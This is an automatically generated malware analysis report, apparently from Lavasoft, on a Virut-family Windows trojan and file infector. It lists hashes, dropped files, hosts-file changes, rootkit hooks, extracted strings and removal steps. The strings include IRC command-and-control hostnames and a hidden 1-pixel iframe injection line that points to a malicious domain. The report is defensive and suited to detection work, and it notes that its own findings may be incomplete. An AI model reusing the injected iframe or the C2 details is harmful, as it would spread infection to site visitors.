Win32.Virtob.Gen.12_67a6ced30a
HEUR:Trojan.Win32.Generic (Kaspersky), Win32.Virtob.Gen.12 (AdAware), VirusVirut.YR (Lavasoft MAS)
Behaviour: Trojan, Virus
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
| Requires JavaScript enabled! |
|---|
MD5: 67a6ced30a5ac7ce9c3612e0502c09f8
SHA1: e78fdc435a9cfff00161f5fc3f82ba0f1fbe55d7
SHA256: 031f9c39e0e9ab7943ef6cc22baf12b8593709236523b414adbbe05000ba2bda
SSDeep: 1536:3Y8lYuSccCgwWYaziLoF2N2CFLcVygldvqr9PxDtpkZ4XXXXbFS9H7J64mtklX:3TSccsWlXCFLcVyg3u9ZDtpk99sI
Size: 162199 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2004-09-12 12:55:29
Analyzed on: Windows7 SP1 32-bit
Summary:
Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
ntvdm.exe:2224
The Trojan injects its code into the following process(es):
%original file name%.exe:4008
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process %original file name%.exe:4008 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\67a6ced30a5ac7ce9c3612e0502c09f8.usr (50117 bytes)
C:\Windows\System32\USR_Shohdi_Photo_USR.rsu (21682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Reader9\Setup.exe (444160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Setup.exe (408872 bytes)
C:\Windows\USR_Shohdi_Photo_USR.exe (6889074 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Reader9\Setup.usr (0 bytes)
C:\Windows\System32\USR_Shohdi_Photo_USR.rsu (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Setup.usr (0 bytes)
The process ntvdm.exe:2224 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs2FD6.tmp (335 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs31EA.tmp (269 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs2FD6.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs31EA.tmp (0 bytes)
Registry activity
Dropped PE files
| MD5 | File path |
|---|---|
| ae4dfe9f4809b33e06ad8ec487d646ca | c:\67a6ced30a5ac7ce9c3612e0502c09f8.usr |
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 864 bytes in size. The following strings are added to the hosts file listed below:
| 127.0.0.1 | jL.chura.pl |
| 127.0.0.1 | validation.sls.microsoft.com |
Rootkit activity
The Trojan installs the following user-mode hooks in ntdll.dll:
NtQueryInformationProcess
ZwOpenFile
NtDeviceIoControlFile
ZwCreateUserProcess
ZwCreateProcessEx
NtCreateProcess
ZwCreateFile
Propagation
VersionInfo
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| 4096 | 16384 | 6656 | 5.29942 | ed41050c46cf2dea26cf5a8d78627828 | |
| .rsrc | 20480 | 102400 | 102400 | 2.95762 | fb08e890b5ddd1678bfada5f25593fe2 |
| petite | 122880 | 379 | 512 | 2.83683 | d9152af36e3787ad41768ba5d11906da |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
URLs
No activity has been detected.
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
Web Traffic was not found.
The Trojan connects to the servers at the folowing location(s):
`.rsrc
D$(PSSh
ccRegVfy.exe
ccApp.exe
IEXPLORE.EXE
windows
\*.exe
.text
.data
.rsrc
msvcrt.dll
KERNEL32.dll
nddeapir.pdb
_acmdln
m.Zw%
ADVAPI32.DLL
\USERINIT.EXE
%s:*:enabled:@shell32.dll,-1
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Qoysys.zief.pl
core.ircgalaxy.pl
NICK avabcadz
SFC.DLL
SFC_OS.DLL
USER32.DLL
SHLWAPI.DLL
WSOCK32.DLL
WININET.DLL
%.6x . . :%c%.8x%x %s
JOIN
127.0.0.1 jL.chura.pl
#<iframe src="hXXp://jL.chura.pl/rc/" style="width:1px;height:1px"></iframe>
KERNEL32.DLL
windowsupdate
drweb
user32.dll
kernel32.dll
MSVCIRT.dll
MSVCRT.dll
5.1.2600.0 (xpclient.010817-1148)
NDDEAPIR.EXE
Windows
Operating System
5.1.2600.0
%original file name%.exe_4008_rwx_00401000_00002000:
D$(PSSh
%original file name%.exe_4008_rwx_00419000_00005000:
ADVAPI32.DLL
\USERINIT.EXE
%s:*:enabled:@shell32.dll,-1
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Qoysys.zief.pl
core.ircgalaxy.pl
NICK avabcadz
SFC.DLL
SFC_OS.DLL
USER32.DLL
SHLWAPI.DLL
WSOCK32.DLL
WININET.DLL
%.6x . . :%c%.8x%x %s
JOIN
127.0.0.1 jL.chura.pl
#<iframe src="hXXp://jL.chura.pl/rc/" style="width:1px;height:1px"></iframe>
KERNEL32.DLL
windowsupdate
drweb
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ntvdm.exe:2224
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\67a6ced30a5ac7ce9c3612e0502c09f8.usr (50117 bytes)
C:\Windows\System32\USR_Shohdi_Photo_USR.rsu (21682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Reader9\Setup.exe (444160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Adobe\Reader 9.3\Setup Files\Setup.exe (408872 bytes)
C:\Windows\USR_Shohdi_Photo_USR.exe (6889074 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs2FD6.tmp (335 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scs31EA.tmp (269 bytes) - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
127.0.0.1 localhost - Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.
